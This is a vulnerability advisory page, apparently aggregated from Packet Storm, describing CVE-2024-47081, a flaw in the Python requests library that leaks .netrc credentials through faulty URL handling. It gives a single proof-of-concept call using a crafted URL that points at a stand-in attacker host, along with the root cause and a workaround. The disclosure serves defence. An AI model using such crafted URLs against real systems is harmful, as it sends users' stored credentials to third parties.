📄 PSF Request Library Credential Leak

🗓️ 03 Jun 2025 00:00:00Reported by Juho ForsénType

packetstorm🔗 packetstorm.news👁 270 Views

PSF requests library leaks .netrc credentials to third parties due to faulty URL handling.

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The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions.
    
    Issuing the following API call triggers the vulnerability:
    
      requests.get('http://example.com:@evil.com/')
    
    Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.
    
    The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245
    
    The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue.
    
    As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access.

03 Jun 2025 00:00Current

7.3High risk

Vulners AI Score7.3

CVSS 3.15.3

EPSS0.00845

SSVC